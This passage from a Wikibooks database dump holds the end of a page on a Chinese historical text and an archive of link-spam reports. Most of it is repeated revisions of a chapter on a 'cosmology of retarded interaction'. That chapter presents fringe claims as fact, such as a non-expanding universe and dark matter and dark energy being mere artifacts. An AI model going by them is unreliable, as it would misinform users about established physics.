('''谨卯'''), from the district of '''Ménggā''' ('''蒙戛''') to the '''Málín''' ('''麻林''') border, [one must] board a boat on the '''Jīnshā River''' ('''金沙江'''), downriver twenty days one reaches Burma. The king is referred by the populace as '''Bōlàlàng''' ('''卜剌浪'''), the king's wife is referred to as '''Mǐpōlà''' ('''米泼剌'''). |- |} ==References== {{reflist}} [[Category:Chinese literature]] [[Category:Non-fiction books]] [[Category:Medieval historical works]] [[Category:Works originally in Chinese]] [[Category:Pages with foreign language text]] [[Category:Indigenous peoples]] [[Category:Guidebooks]] [[Category:History of China]] [[Category:Wars]] [[Category:Diplomacy of China]] [[Category:Subject:Military history]] [[zh:蛮书]] dk1he9hivaxepi76fu1y3tynfwoieyp 4 485674 4670877 4670396 2026-09-18T08:10:13Z ArchiverBot 1227662 Bot: Archiving 9 threads from [[Wikibooks:Reading room/Administrative Assistance]] 4670877 wikitext text/x-wiki {{talk archive}} == Jeevandan26 reported by MathXplore == * {{userlinks|Jeevandan26}} Link spam, [[Special:AbuseLog/315288]] <!-- USERREPORTED:/Jeevandan26/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:14, 1 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 13:20, 1 September 2026 (UTC) == Gloriagulshan reported by MathXplore == * {{userlinks|Gloriagulshan}} [[:w:Wikipedia:Sockpuppet investigations/Kagoz]] ([[Special:Contributions/Tikapara]], [[Wikibooks:Reading_room/Administrative_Assistance/Archives/2025/September#Tikapara_reported_by_MathXplore]]), created page [[Introduction to Filmmaking]] Contributed by Ali Zulfikar Zahedi ([[:w:Ali Zulfikar Zahedi]], [[:w:simple:Ali Zulfikar Zahedi]]) <!-- USERREPORTED:/Gloriagulshan/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 03:56, 29 August 2026 (UTC) :I believe this page is intended as instructional material for learning filmmaking rather than as an encyclopedic article. I will revise the page to focus on practical filmmaking concepts, methods, and processes in accordance with the purpose of Wikibooks. [[User:Gloriagulshan|Gloriagulshan]] ([[User talk:Gloriagulshan|discuss]] • [[Special:Contributions/Gloriagulshan|contribs]]) 04:20, 29 August 2026 (UTC) : Cc: {{ping|SHB2000|MarcGarver}} [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 04:41, 29 August 2026 (UTC) ::I see the account is glocked, and there are no sleepers that aren't already locked, so nothing more to do. [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 11:18, 3 September 2026 (UTC) == Mohansai00116 reported by MathXplore == * {{userlinks|Mohansai00116}} Link spam, [[Special:AbuseLog/315335]] <!-- USERREPORTED:/Mohansai00116/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:09, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:04, 3 September 2026 (UTC) == Fatemai6 reported by MathXplore == * {{userlinks|Fatemai6}} Link spam, [[Special:AbuseLog/315329]] <!-- USERREPORTED:/Fatemai6/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:10, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan147 reported by MathXplore == * {{userlinks|Kamrulhasan147}} Link spam, [[Special:AbuseLog/315327]], [[Special:Contributions/Kamrulhasan142]] <!-- USERREPORTED:/Kamrulhasan147/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:12, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Kamrulhasan142 reported by MathXplore == * {{userlinks|Kamrulhasan142}} Link spam, [[Special:AbuseLog/315295]], [[Special:Contributions/Kamrulhasan147]] <!-- USERREPORTED:/Kamrulhasan142/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:13, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Twenty7incgs reported by MathXplore == * {{userlinks|Twenty7incgs}} Link spam, [[Special:AbuseLog/315323]] <!-- USERREPORTED:/Twenty7incgs/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:14, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Tailleash reported by MathXplore == * {{userlinks|Tailleash}} Link spam, [[Special:AbuseLog/315318]] <!-- USERREPORTED:/Tailleash/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:15, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) == Md Akash Mia12 reported by MathXplore == * {{userlinks|Md Akash Mia12}} Link spam, [[Special:AbuseLog/315299]], [[Special:AbuseLog/315298]] <!-- USERREPORTED:/Md Akash Mia12/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 12:17, 2 September 2026 (UTC) : {{done|Page deleted}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:03, 3 September 2026 (UTC) == Vapesitefiftybar reported by MathXplore == * {{userlinks|Vapesitefiftybar}} Link spam, [[Special:AbuseLog/315338]] <!-- USERREPORTED:/Vapesitefiftybar/ --> [[User:MathXplore|MathXplore]] ([[User talk:MathXplore|discuss]] • [[Special:Contributions/MathXplore|contribs]]) 13:40, 2 September 2026 (UTC) : {{done}}. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] /// [[User talk:Codename Noreste|⭐️✨]] 14:05, 3 September 2026 (UTC) tn8yzp08byiv511ywovto9lrc5ms73i 0 485676 4670660 4670614 2026-09-17T14:03:35Z Bautsch 630029 pseudo-Euclidean / spacetime 4670660 wikitext text/x-wiki <noinclude> {{Chapter navigation|Gravitational redshift|Conclusion}} </noinclude> T == Cosmology of retarded interaction == Modern astrophysics is based on the general theory of relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the general theory of relativity explains geometrically. To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of general relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on pseudo-Euclidean geometry in Minkowski space. The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of spacetime. In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined. === The axioms of retarded interaction === Established physics is based on three pillars, which are used to build the cosmology of retarded interaction: # '''Classical mechanics:''' The force <math display="inline">F = m \cdot a</math> as the basis of the acceleration <math display="inline">a</math> of a mass <math display="inline">m</math> . # '''Relativistic kinematics:''' time dilation and length contraction according to the special theory of relativity, but without the curvature of spacetime. # '''Retarded gravitation:''' The gravitational effect propagates at the speed of light <math display="inline">c</math>. The potential <math display="inline">\Phi</math> at a point <math display="inline">\mathbf {r}</math> at time <math display="inline">t</math> depends on the state of the source at time <math display="inline">t - \Delta t</math>, where <math display="inline">\Delta t = \frac {r} {c}</math>. === The mathematical core === For the mathematical formulation, the gravitational potential can be substituted into the wave equation: :<math>\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho</math> The solution to this wave equation is the retarded potential: :<math>\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'</math> In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials. === Cosmological mechanisms === ==== The apparent expansion ==== In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space. Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift). ==== A replacement for dark matter ==== In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies. The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as <math display="inline">1 / r^2</math> because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics. ==== A replacement for dark energy ==== In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces. Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials. The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static pseudo-Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light <math display="inline">c</math> as a constant parameter for the retardation <math display="inline">\Delta t = r/c</math>. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion. In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay <math display="inline">\Delta t</math> effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion. The farther they drift, the larger <math display="inline">\Delta t</math> becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy. ==== The universe as a black hole ==== In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity <math display="inline">v_e \geq c</math> is reached. If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell. Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell. === Comparison with the standard model of cosmology === The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology. {| class="wikitable" |+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI) |- ! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI) |- | Principle of equivalence || Ad hoc assumption, general theory of relativity || No, gravitation is a force |- | Homogenity || Ad hoc assumption, cosmological principle || No homogenity, higher mass and energy densities in outer regions of a kinematic universe |- | Isotropy || Ad hoc assumption, cosmological principle || Only from the centre of a kinematic universe |- | Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe |- | Dark matter || Ad hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials |- | Dark energy || Ad hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials |- | Rotation curves of spiral galaxies || Ad hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter |- | High-redshift objects || Ad hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell |- | Geometry || Dynamic differential geometry|| Static pseudo-Euclidean geometry |- | Spacetime || Curved spacetime || Minkowski spacetime |} === Summary === The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting trajectories and light signals create the illusion of an expanding geometry that is explained by dark matter and dark energy in the standard model of cosmology. The cosmology of retarded interaction consistently adheres to physical axioms (classical, relativistic, and retarded potentials). It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of general relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry. The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials. Cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of spacetime, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to general relativity. ipy6w55jci8kk3j47h849q7dyazs2n5 4670661 4670660 2026-09-17T14:09:47Z Bautsch 630029 homogeneity 4670661 wikitext text/x-wiki <noinclude> {{Chapter navigation|Gravitational redshift|Conclusion}} </noinclude> T == Cosmology of retarded interaction == Modern astrophysics is based on the general theory of relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the general theory of relativity explains geometrically. To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of general relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on pseudo-Euclidean geometry in Minkowski space. The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of spacetime. In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined. === The axioms of retarded interaction === Established physics is based on three pillars, which are used to build the cosmology of retarded interaction: # '''Classical mechanics:''' The force <math display="inline">F = m \cdot a</math> as the basis of the acceleration <math display="inline">a</math> of a mass <math display="inline">m</math> . # '''Relativistic kinematics:''' time dilation and length contraction according to the special theory of relativity, but without the curvature of spacetime. # '''Retarded gravitation:''' The gravitational effect propagates at the speed of light <math display="inline">c</math>. The potential <math display="inline">\Phi</math> at a point <math display="inline">\mathbf {r}</math> at time <math display="inline">t</math> depends on the state of the source at time <math display="inline">t - \Delta t</math>, where <math display="inline">\Delta t = \frac {r} {c}</math>. === The mathematical core === For the mathematical formulation, the gravitational potential can be substituted into the wave equation: :<math>\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho</math> The solution to this wave equation is the retarded potential: :<math>\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'</math> In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials. === Cosmological mechanisms === ==== The apparent expansion ==== In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space. Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift). ==== A replacement for dark matter ==== In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies. The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as <math display="inline">1 / r^2</math> because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics. ==== A replacement for dark energy ==== In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces. Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials. The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static pseudo-Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light <math display="inline">c</math> as a constant parameter for the retardation <math display="inline">\Delta t = r/c</math>. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion. In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay <math display="inline">\Delta t</math> effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion. The farther they drift, the larger <math display="inline">\Delta t</math> becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy. ==== The universe as a black hole ==== In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity <math display="inline">v_e \geq c</math> is reached. If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell. Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell. === Comparison with the standard model of cosmology === The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology. {| class="wikitable" |+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI) |- ! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI) |- | Principle of equivalence || Ad hoc assumption, general theory of relativity || No, gravitation is a force |- | Homogeneity || Ad hoc assumption, cosmological principle || No homogeneity, higher mass and energy densities in outer regions of a kinematic universe |- | Isotropy || Ad hoc assumption, cosmological principle || Only from the centre of a kinematic universe |- | Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe |- | Dark matter || Ad hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials |- | Dark energy || Ad hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials |- | Rotation curves of spiral galaxies || Ad hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter |- | High-redshift objects || Ad hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell |- | Geometry || Dynamic differential geometry|| Static pseudo-Euclidean geometry |- | Spacetime || Curved spacetime || Minkowski spacetime |} === Summary === The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting trajectories and light signals create the illusion of an expanding geometry that is explained by dark matter and dark energy in the standard model of cosmology. The cosmology of retarded interaction consistently adheres to physical axioms (classical, relativistic, and retarded potentials). It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of general relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry. The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials. Cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of spacetime, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to general relativity. touftq6cwyyqz1nesv0m130j5nusggt 4670662 4670661 2026-09-17T14:10:16Z Bautsch 630029 -"T" 4670662 wikitext text/x-wiki <noinclude> {{Chapter navigation|Gravitational redshift|Conclusion}} </noinclude> == Cosmology of retarded interaction == Modern astrophysics is based on the general theory of relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the general theory of relativity explains geometrically. To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of general relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on pseudo-Euclidean geometry in Minkowski space. The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of spacetime. In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined. === The axioms of retarded interaction === Established physics is based on three pillars, which are used to build the cosmology of retarded interaction: # '''Classical mechanics:''' The force <math display="inline">F = m \cdot a</math> as the basis of the acceleration <math display="inline">a</math> of a mass <math display="inline">m</math> . # '''Relativistic kinematics:''' time dilation and length contraction according to the special theory of relativity, but without the curvature of spacetime. # '''Retarded gravitation:''' The gravitational effect propagates at the speed of light <math display="inline">c</math>. The potential <math display="inline">\Phi</math> at a point <math display="inline">\mathbf {r}</math> at time <math display="inline">t</math> depends on the state of the source at time <math display="inline">t - \Delta t</math>, where <math display="inline">\Delta t = \frac {r} {c}</math>. === The mathematical core === For the mathematical formulation, the gravitational potential can be substituted into the wave equation: :<math>\square \Phi = \left( \frac {1} {c^2} \frac {\partial^2} {\partial t^2} - \nabla^2 \right) \Phi = 4\pi G \rho</math> The solution to this wave equation is the retarded potential: :<math>\Phi (\vec {r}, t) = -G \iiint \frac {\rho (\vec {r}', t - |\vec {r} - \vec {r}'| / c)} {|\vec {r} - \vec {r}'|} d^3r'</math> In a universe with massive objects, gravity never acts instantaneously but always depends on the mass’s past position. This creates a phase shift between mass and force, as well as an attenuation of the retarded gravitational potentials. === Cosmological mechanisms === ==== The apparent expansion ==== In general relativity, redshift is a stretching of spacetime. In the cosmology of retarded interaction, it is the result of a dynamic retardation in both time and space. Since the gravitational effect arrives retarded, the force of mass lags behind. In a system consisting of many particles, this leads to a continuous kinematic shift in their trajectories. When we receive light from distant sources, we do not observe an expansion of spacetime, but rather the cumulative effect of the net gravitational potentials on the propagation of light (gravitational redshift) and the relativistic potentials due to the motion of the source (Doppler redshift). ==== A replacement for dark matter ==== In the standard model of cosmology respectively the Lambda cold dark matter model (Lambda-CDM model or ΛCDM model), the flat rotation curves of galaxies are explained by dark matter which is even changing over time. In the cosmology of retarded interaction, they result from the retarded effect of the baryonic matter accreted by the galaxies. The stars in the outer regions of a galaxy respond to the gravitational potential of the center as it was millions of years ago. The force does not decrease as <math display="inline">1 / r^2</math> because the time delay generates an additional force component, similar to the Liénard–Wiechert potentials in electrodynamics. ==== A replacement for dark energy ==== In the cosmology of retarded interaction, accelerated expansion is interpreted as a cosmic phenomenon. The retarded gravitational potentials of homogeneously distributed masses – located in a spherical shell outside the sphere’s surface on which a moving test mass rests – lead to an net outward acceleration of the test mass, since masses in front of the test mass cause stronger retarded forces than opposing masses that reach the test mass with attenuated retarded forces. Consequently, all mass points moving in the universe drift apart at an accelerating rate because the net acting forces, due to the retardation, cause a radially outward acceleration force. As a result, matter in the outer regions of the universe becomes increasingly dense, creating an inhomogeneous mass distribution (black shell) that continuously amplifies the effect of the retarded potentials. The cosmology of retarded interaction therefore does not align with metric expansion, it only presupposes a static pseudo-Euclidean space. If spacetime itself were expanding, this would call into question or modify the speed of light <math display="inline">c</math> as a constant parameter for the retardation <math display="inline">\Delta t = r/c</math>. The cosmology of retarded interaction would thus actively dispute the thesis of metric expansion and interpret it as an optical illusion. In the cosmology of retarded interaction, expansion is not necessarily linked to an event such as the Big Bang, but is rather a dynamic process. The retardation of gravity gives rise to inhomogeneity. When moving masses are far enough apart that the time delay <math display="inline">\Delta t</math> effectively weakens and phase-shifts the effect of gravity, the objects begin to drift due to their kinetic motion. The farther they drift, the larger <math display="inline">\Delta t</math> becomes, and the weaker the retarded forces from the opposite side from the universe become the expansion accelerates without the need for dark energy. ==== The universe as a black hole ==== In general relativity, a black hole is a region of extreme spatial curvature. However, since cosmology of retarded interaction rejects spatial curvature and replaces it with retarded potentials, the concept of a black hole would have to be radically redefined. In cosmology of retarded interaction, a black hole would not be a geometric point, but rather a region of high mass density in which the gravitational potentials are so strong that the escape velocity <math display="inline">v_e \geq c</math> is reached. If our universe were the interior of such an object, we would find ourselves in a region where the retarded potentials are dominated by a massive external source which is located in the out regions of the universe. This region can be interpreted as a black shell. Since cosmology of retarded interaction is based on classical potentials, there is no mathematical necessity for a singularity. The retarded effect smooths out extreme gradients over time. A universe-black-hole in cosmology of retarded interaction would thus be more like a gigantic cluster of baryonic matter, within which we find ourselves. The observed physics would then be the superposition of the local forces and the global, retarded pull of the surrounding mass in the black shell. === Comparison with the standard model of cosmology === The cosmology of retarded interaction does not rely on a priori hypotheses or ad hoc assumptions, which are taken for granted in the standard model of cosmology. {| class="wikitable" |+ Comparision standard model of cosmology (ΛCDM) and cosmology of retarded interaction (CRI) |- ! Concept !! Standard model of cosmology (GR / ΛCDM) !! Cosmology of retarded interaction (CRI) |- | Principle of equivalence || Ad hoc assumption, general theory of relativity || No, gravitation is a force |- | Homogeneity || Ad hoc assumption, cosmological principle || No homogeneity, higher mass and energy densities in outer regions of a kinematic universe |- | Isotropy || Ad hoc assumption, cosmological principle || Only from the centre of a kinematic universe |- | Copernican principle || Ad hoc assumption || Milky Way in Local Group near the centre of a kinematic universe |- | Dark matter || Ad hoc assumption of non-baryonic particles || Effect of retarded gravitational potentials |- | Dark energy || Ad hoc assumption of a cosmological constant Λ || Effect of retarded gravitational potentials |- | Rotation curves of spiral galaxies || Ad hoc assumption of dark matter || Retarded gravitational potentials of accreted baryonic matter |- | High-redshift objects || Ad hoc assumption of expanding spacetime || Gravitational redshift due to baryonic matter in black shell |- | Geometry || Dynamic differential geometry|| Static pseudo-Euclidean geometry |- | Spacetime || Curved spacetime || Minkowski spacetime |} === Summary === The universe is not expanding, and it is not curved. It is a system of masses distributed in flat space, whose mutual attraction is so time-delayed that the resulting trajectories and light signals create the illusion of an expanding geometry that is explained by dark matter and dark energy in the standard model of cosmology. The cosmology of retarded interaction consistently adheres to physical axioms (classical, relativistic, and retarded potentials). It dispenses with the geometric interpretation (no spatial curvature, no event horizon in the sense of general relativity) and regards everything as the result of forces, masses, and time delays. The dark components and spatial curvature are merely mathematical artifacts that arise when one attempts to describe the retarded force action using differential geometry. The universe is not viewed as a geometric black hole in the sense of general relativity, but rather as a massive system whose internal dynamics are governed by retarded potentials. Cosmology of retarded interaction is based solely on the view that the universe is a classical mechanical system with retardation. By introducing differential-geometric paradigms such as the curvature or stretching of spacetime, one departs from the disruptive paradigm of cosmology of retarded interaction and returns to general relativity. bt6cye7orec58pv2k0j3hpnjyjiv4ps 4670709 4670662 2026-09-17T20:32:17Z Bautsch 630029 LF 4670709 wikitext text/x-wiki <noinclude> {{Chapter navigation|Gravitational redshift|Conclusion}} </noinclude> == Cosmology of retarded interaction == Modern astrophysics is based on the general theory of relativity (GR) because it has been confirmed by experiments such as the perihelion precession of Mercury or the detection of gravitational waves. A new model must prove that it also correctly describes all the effects that the general theory of relativity explains geometrically. To devise a disruptive cosmology that relies solely on classical, relativistic, and retarded gravitational potentials and dispenses with all ad hoc and a priori hypotheses – such as the equivalence principle of general relativity, cosmological constants, dark matter, dark energy, homogeneity, or isotropy – we must return to a dynamic field approach. To this end, the differential geometry required for general relativity can be replaced by a model that relies on pseudo-Euclidean geometry in Minkowski space. The central challenge is that classical Newtonian gravity acts instantaneously. To construct a consistent cosmology, retarded gravitational potentials can be introduced. This leads to an inherent time dependence and dynamics of the universe without the need to postulate an expansion of spacetime. In what follows, a draft of the '''cosmology of retarded interaction (CRI)''' is outlined. === The axioms of retarded interaction === Established physics is based on three pillars, which are used to build the cosmology of retarded interaction: # '''Classical mechanics:''' The force <math display="inline">F = m \cdot a</math> as the basis of the acceleration <math display="inline">a</math> of a mass <math display="inline">m</math> . # '''Relativistic kinematics:''' time dilation and length contraction according to the special theory of relativity, but without the curvature of spacetime. # '''Retarded gravitation:''' The gravitational effect propagates at the speed of light <math display="inline">c</math>. The potential <math display="inline">\Phi</math> at a point <math display="inline">\mathbf {r}</math> at time <math display="inline">t</math> depends on the state of the source at time <math display="inline">t - \Delta t</math>, where <math display="inline">\Delta t = \frac {r} 